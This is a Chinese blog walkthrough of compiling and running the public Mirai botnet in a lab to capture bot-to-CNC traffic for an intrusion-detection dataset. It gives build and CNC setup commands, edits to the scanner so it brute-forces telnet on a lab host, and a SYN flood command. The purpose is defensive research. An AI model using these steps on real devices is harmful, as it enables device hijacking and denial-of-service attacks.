杂
是为了做NIDS啦,网上都找不到Mirai公开的数据集,所以没办法只能自己抓了
主要参考
G.O.A.T!最靠谱的Mirai僵尸病毒编译教程
博客园Mirai搭建及使用
Anna-senpai帖子翻译与Mirai源代码使用
原作者教程
原作者教程2
Mirai源码编译
Mirai使用与攻击
1. 编译
为了方便抓包,我直接在有Wireshark的Kali上搭的环境
1.1 安装依赖
安装 gcc、git、electric-fence
apt-get update
apt-get install gcc git electric-fence
mysql 我以前安过,不再赘述
安装golang
迅雷大法好
搭建go开发环境
开始安的1.8.1版本的,最后一步go get时报错了,只能重安
要先卸载
卸载
Kali Linux下go语言环境搭建
官网1.14.1版本下载
1.2 克隆源码
git clone https://github.com/jgamblin/Mirai-Source-Code
1.3 编译加密程序
cd mirai/tools && gcc enc.c -o enc.out
1.4 加密主控服务器域名和报告服务器域名
./enc.out string cnc.wuming.com
./enc.out string report.wuming.com
执行后会返回一串HEX数据,和xx bytes,稍后会用到
不执行也可以,直接使用默认的
cnc.changeme.com
report.changeme.com
然后修改病毒本体源码
vim ../bot/table.c
原文件18到21行如下
如果想修改的话就把上面输出的四个参数分别替换掉
1.5 配置CNC控制中心
用一个数据库记录使用过的命令、能被操控的僵尸数量等
1.5.1 编辑sql脚本
cd ../../scripts
vim db.sql
在第一行后插入
use mirai;
1.5.2 执行sql脚本
执行
service mysql start //启动Mysql 服务
cat db.sql | mysql -u root -p
创建CNC用户 mirai_user,即在数据库mirai的users表中增加一行记录
注意别的教程此处可能用的是mirai-user,我比较喜欢下划线mirai_user
mysql -u root -p
use mirai
INSERT INTO users VALUES (NULL, 'mirai_user', 'mirai_pass', 0, 0, 0, 0, -1, 1, 30, ''); //添加的用户
exit //退出
1.5.3 修改CNC服务器主程序
vi ../mirai/cnc/main.go
User和Pass 改为root的用户名和密码
1.6 交叉编译
为啥要交叉编译,就是因为这个病毒其实最后编译出来有好多的版本,包括以arm为后缀的,以dbg为后缀的,以mips为后缀的,适应了各种各样的环境。但是这些环境上并不具备编译出这些病毒文件的能力,所以我们就在自己的电脑上先给它把这些版本一次都编译出来,到时候比如要感染arm架构的设备,我直接就把以arm后缀为结尾的病毒本体想办法传送过去就OK了
————————————————
版权声明:本文为CSDN博主「weixin_42652850」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_42652850/article/details/104889173
cd .. && mkdir cross-compile-bin
cd cross-compile-bin
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2
wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2
或者迅雷大法好
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2
http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2
cd ../scripts
./compile-cross.sh
输入n,因为已经安装过了
1.7 添加环境变量
vim ~/.bashrc
添加如下内容
export PATH=$PATH:/etc/xcompile/armv4l/bin
export PATH=$PATH:/etc/xcompile/armv5l/bin
export PATH=$PATH:/etc/xcompile/armv6l/bin
export PATH=$PATH:/etc/xcompile/i586/bin
export PATH=$PATH:/etc/xcompile/m68k/bin
export PATH=$PATH:/etc/xcompile/mips/bin
export PATH=$PATH:/etc/xcompile/mipsel/bin
export PATH=$PATH:/etc/xcompile/powerpc/bin
export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin
export PATH=$PATH:/etc/xcompile/sh4/bin
export PATH=$PATH:/etc/xcompile/sparc/bin
export GOPATH=$HOME/go
注意$和PATH之间没有空格
如果你看了别人的添加了空格进去
然后执行了source命令
这时当前终端很可能会出现无法执行基本命令的情况
因为.bashrc这个文件里有错误
这时新开一个终端,修改回去就行了
刷新一下
mkdir ~/go
source ~/.bashrc
1.8 构建受控端和主控端程序
由于源码默认在 debug 模式中关闭了 scanner 功能,将bot/main.c 中158行和162行注释后即可运行。
还记得1.4中修改的tables.c嘛
如果没修改的话,CNC域名应该是cnc.changeme.com
那别的bot怎么才能知道这个域名对应的就是攻击机的ip呢
bot通过table.c设置的域名来寻找CNC服务器。其中解析域名的功能由resolv.c实现,该文件84行硬编码了DNS服务器的地址:
addr.sin_addr.s_addr = INET_ADDR(8,8,8,8);
因此,如果本地搭建环境,或者bot处于AP内网,需要修改IP为本地DNS服务器的IP,然后由本地DNS服务器对此域名作解析为对应IP。
所以需要搭建一个DNS服务器
服务器运维:CentOS 7下搭建DNS服务器
(而稍后这个DNS服务器会被用作第一个bot)
然后把resolv.c中的地址换成DNS服务器的地址
addr.sin_addr.s_addr = INET_ADDR(192,168,1,42);
go get github.com/go-sql-driver/mysql
go get github.com/mattn/go-shellwords
cd ../mirai
./build.sh debug telnet
如果执行build脚本的时候报比如找不到mips-gcc
等等,但是你确定你安装了
并且也添加到~/.bashrc
里了,执行
source ~/.bashrc
再刷新一下
最后正常build结束应该有如下十个文件
然后还需要一些小调整
因为cnc的启动调用的是debug/cnc
,但是源码里读取文件写的是绝对路径prompt.txt
图源 博客园
所以需要拷贝一份prompt.txt到debug目录下
进入mirai目录后
cp prompt.txt debug/
1.9 构建Loader
cd ../loader
./build.sh
有几个警告无伤大雅
2. 使用
2.1 基础知识
2.1.1 流程图
2.1.2 名词解释
-
Loader:第一个bot,通过别的手段获得此肉鸡的shell,然后在第一个肉鸡上发起telnet爆破,感染其他主机。第一个bot需要配置DNS服务,以后新抓的鸡都会通过Loader报告给攻击机
-
CNC服务器:Command and Control Server,命令和控制服务器
-
bot:肉鸡,可进行telnet爆破(再传播)和发起DDOS
-
dlr:肉鸡不能使用tftp和wget时会执行dlr,然后使用socket从目标IP(文件服务器)下载Mirai病毒
2.2 攻击流程
2.2.1 环境
攻击机Kali(192.168.1.10)作CNC和Loader,靶机A(192.168.1.42)作为第一个被感染的设备(Loader),并且自己搭了DNS服务器解析CNC域名和报告服务器域名到Kali,靶机B(192.168.1.34)作为telnet弱口令设备。都处于同一网段下
靶机A需要搭建DNS服务器
服务器运维:CentOS 7下搭建DNS服务器
靶机B需要搭建telnet服务器
服务器运维:CentOS 7下搭建telnet服务器
靶机B的弱口令
admin:password
2.2.2 启动CNC服务器
Kali进入mirai目录下
执行
go build -o debug/cnc cnc/*.go
然后
./debug/cnc
2.2.3 连接CNC服务器
telnet 127.0.0.1 23
然后直接回车
输入mirai_user和mirai_pass
然后我这一直报这个错误
检查一下旧shell
估计是因为Kali的mysql用任意密码都能登录,所以调用main.go时传入了密码参数报错了
有两个解决办法
第一种:
修改root的密码
GRANT ALL PRIVILEGES ON *.* TO 'root'@'localhost' IDENTIFIED BY 'youpassword' WITH GRANT OPTION;
然后刷新
FLUSH PRIVILEGES;
退出后就需要密码登录了
第二种:
新建一个用户mirai,然后把main.go中的参数替换成mirai和它的密码
我用的是第一种,因为看别的教程都是root账户,暂时不知道有没有影响
如果修改了main.go
重新build一下
go build -o debug/cnc cnc/*.go
然后
./debug/cnc
输入用户名mirai_user,密码mirai_pass
这次可以正常登录了
注意shell最上面显示的 0 Bots Connected,表示当前有0个bot
2.2.4 启动对Loader的监听器
还是Kali下
cd mirai/debug
别的系统可能需要sudo,Kali不需要的
./scanListen
执行
netstat -lput
可以看到48101已经处于监听状态了
2.2.5 Loader连接CNC
靶机A(192.168.1.42)
把Kali编译好的mirai文件夹拷贝过去
靶机A作为第一个bot,需要解析
cnc.changeme.com和report.changeme.com
于是我在靶机A上搭了DNS服务器,让resolv.c解析域名时向本地的DNS服务器发出请求
然后就找到了Kali的IP:192.168.1.10
这时在靶机A上进入mirai/debug
然后
sudo ./miria.dbg
一定要管理员权限运行,否则会出现无法创建原始套接字raw sock
一定要看到把 cnc.changeme.com解析到了一个IPv4地址才行,否则就调试你的DNS服务器。
然后切回Kali可以看到,此时已经有一个bot连接了
2.2.6 肉鸡执行telnet爆破
因为1.8中已经开启了scanner功能,所以靶机A执行./mirai.dbg
时自动开始telnet爆破
在Kali上可以用wireshark抓包,后面再讲
如果scanner成功抓鸡,则会调用
resolv.c
连接 report.changeme.com
,还是由本地DNS服务器解析到Kali的IP,然后被抓鸡的信息会通过report模块发送到Kali的48101
端口,即scanListen
监听的端口。
信息的格式为ip:port username:password
当然,因为上面所说的所有环境都是在内网下搭建的,就算抓到了外网的鸡也不能传播Mirai。
真想玩的话搞两个服务器就好了
2.2.6 内网抓鸡
建议这一段不要看一步做一步,而是先通读完再做,因为我也踩了不少坑
先看一下源码的IP扫描吧 mirai/bot/scanner.c 674行起
static ipv4_t get_random_ip(void)
{
// 32位无符号整型
uint32_t tmp;
// 4个8位的无符号整型
uint8_t o1, o2, o3, o4;
do
{
// 产生一个随机数
tmp = rand_next();
o1 = tmp & 0xff;
o2 = (tmp >> 8) & 0xff;
o3 = (tmp >> 16) & 0xff;
o4 = (tmp >> 24) & 0xff;
}
while (o1 == 127 || // 127.0.0.0/8 - Loopback
(o1 == 0) || // 0.0.0.0/8 - Invalid address space
(o1 == 3) || // 3.0.0.0/8 - General Electric Company
(o1 == 15 || o1 == 16) || // 15.0.0.0/7 - Hewlett-Packard Company
(o1 == 56) || // 56.0.0.0/8 - US Postal Service
(o1 == 10) || // 10.0.0.0/8 - Internal network
(o1 == 192 && o2 == 168) || // 192.168.0.0/16 - Internal network
(o1 == 172 && o2 >= 16 && o2 < 32) || // 172.16.0.0/14 - Internal network
(o1 == 100 && o2 >= 64 && o2 < 127) || // 100.64.0.0/10 - IANA NAT reserved
(o1 == 169 && o2 > 254) || // 169.254.0.0/16 - IANA NAT reserved
(o1 == 198 && o2 >= 18 && o2 < 20) || // 198.18.0.0/15 - IANA Special use
(o1 >= 224) || // 224.*.*.*+ - Multicast
(o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
);
return INET_ADDR(o1,o2,o3,o4);
}
源码中
用了一个do-while循环,如果是产生了注释里如 127打头的IP地址,就继续循环,直到出现了非注释里的IP为止,然后调用INET_ADDR
把这个IPv4地址返回。
即每调用一次get_random_ip
就返回一个外网IPv4
修改:
o1到o4分别设为靶机B的IPv4地址的四部分,把do-while循环注释掉
static ipv4_t get_random_ip(void)
{
uint32_t tmp;
uint8_t o1=192, o2=168, o3=1, o4=34;
/*
do
{
tmp = rand_next();
o1 = tmp & 0xff;
o2 = (tmp >> 8) & 0xff;
o3 = (tmp >> 16) & 0xff;
o4 = (tmp >> 24) & 0xff;
}
while (o1 == 127 || // 127.0.0.0/8 - Loopback
(o1 == 0) || // 0.0.0.0/8 - Invalid address space
(o1 == 3) || // 3.0.0.0/8 - General Electric Company
(o1 == 15 || o1 == 16) || // 15.0.0.0/7 - Hewlett-Packard Company
(o1 == 56) || // 56.0.0.0/8 - US Postal Service
(o1 == 10) || // 10.0.0.0/8 - Internal network
(o1 == 192 && o2 == 168) || // 192.168.0.0/16 - Internal network
(o1 == 172 && o2 >= 16 && o2 < 32) || // 172.16.0.0/14 - Internal network
(o1 == 100 && o2 >= 64 && o2 < 127) || // 100.64.0.0/10 - IANA NAT reserved
(o1 == 169 && o2 > 254) || // 169.254.0.0/16 - IANA NAT reserved
(o1 == 198 && o2 >= 18 && o2 < 20) || // 198.18.0.0/15 - IANA Special use
(o1 >= 224) || // 224.*.*.*+ - Multicast
(o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
);
*/
return INET_ADDR(o1, o2, o3, o4);
}
不过这样的话应该会对靶机B产生巨大的流量,因为每次scan都是对着靶机B…先不管了
修改以后重新编译一下
./build.sh debug telnet
然后把新生成的mirai文件夹拷到靶机A上,覆盖掉原来的文件夹
靶机A上把原来的终端关闭,重新进入mirai/debug
并执行
sudo ./mirai.dbg
这时可以看到
靶机A只对靶机B进行telnet爆破
还要注意的是
如果扫描的IP有回应,才会正式建立连接,也就是说,因为现在只扫靶机B,如果靶机B不回应的话,靶机A那边是没有显示的,我在这踩坑了,一直在改源码,以为是代码问题。
果然这样流量太大了,不知道多少个线程爆破一台主机…所以就算试到了正确的密码,telnet连接也会被中断…
再次修改
static ipv4_t get_random_ip(void)
{
uint32_t tmp;
uint8_t o1, o2, o3, o4;
do
{
tmp = rand_next();
o1 = tmp & 0xff;
o2 = (tmp >> 8) & 0xff;
o3 = (tmp >> 16) & 0xff;
o4 = (tmp >> 24) & 0xff;
}
while (o1 == 127 || // 127.0.0.0/8 - Loopback
(o1 == 0) || // 0.0.0.0/8 - Invalid address space
(o1 == 3) || // 3.0.0.0/8 - General Electric Company
(o1 == 15 || o1 == 16) || // 15.0.0.0/7 - Hewlett-Packard Company
(o1 == 56) || // 56.0.0.0/8 - US Postal Service
(o1 == 10) || // 10.0.0.0/8 - Internal network
(o1 == 192 && o2 == 168) || // 192.168.0.0/16 - Internal network
(o1 == 172 && o2 >= 16 && o2 < 32) || // 172.16.0.0/14 - Internal network
(o1 == 100 && o2 >= 64 && o2 < 127) || // 100.64.0.0/10 - IANA NAT reserved
(o1 == 169 && o2 > 254) || // 169.254.0.0/16 - IANA NAT reserved
(o1 == 198 && o2 >= 18 && o2 < 20) || // 198.18.0.0/15 - IANA Special use
(o1 >= 224) || // 224.*.*.*+ - Multicast
(o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
);
return INET_ADDR(192, 168, o3, 34);
}
开始一直在改多线程,准备加sleep,但是看了一圈没看懂,我C太菜了。
于是取巧了一下,把生成随机IP的函数改为三个固定,一个不固定的
因为怕生成192.168.1.10正好是攻击机IP,所以最后一个也写成固定的34了
这次好多了…
抓鸡先停一段时间,出了些bug
2.2.7 CNC控制bot发起DDOS
简单回顾一下前面的流程
启动CNC服务器
攻击机telnet自己,连接CNC
Loader的监听器不需要了,因为不抓鸡了
bot连接CNC
现在,你的攻击机上应该显示有一个bot连接
打开作为CNC的终端
输入一个?
查看攻击指令,?相当于占位符
注意syn
和?
中间有个空格
这时切到bot,可以看到收到了一条攻击指令
而在wireshark中也抓到了一个SYN泛洪的典型数据包
因为是debug模式,所以只会发一个泛洪包进行测试,想干坏事的就自己研究吧hhhh,我不写了。
3.抓包
Wireshark基本介绍和学习TCP三次握手
Wireshark图解教程(简介、抓包、过滤器)
我需要的是CNC和僵尸机之间通信的流量,所以直接用上文的靶机A作为一台被感染的bot,主要分析bot接收CNC的命令和以及反馈的过程。
因为不需要再感染其他主机了,所以把1.8中scanner功能关闭,然后重新
./build.sh debug telnet
拷贝、执行
再说明一下IP
攻击机:192.168.1.10
靶机A:192.168.1.42
捕获过滤器设为
(src 192.168.1.42 and dst 192.168.1.10) or (src 192.168.1.10 and dst 192.168.1.42)
抓取CNC和bot之间的流量,然后导出,我保存到json里了。
接下来就可以用数据集做数据分析和机器学习了。
等过一段时间这些dataset与我利益无关了就会上传到GayHub,欢迎关注,先不贴链接了。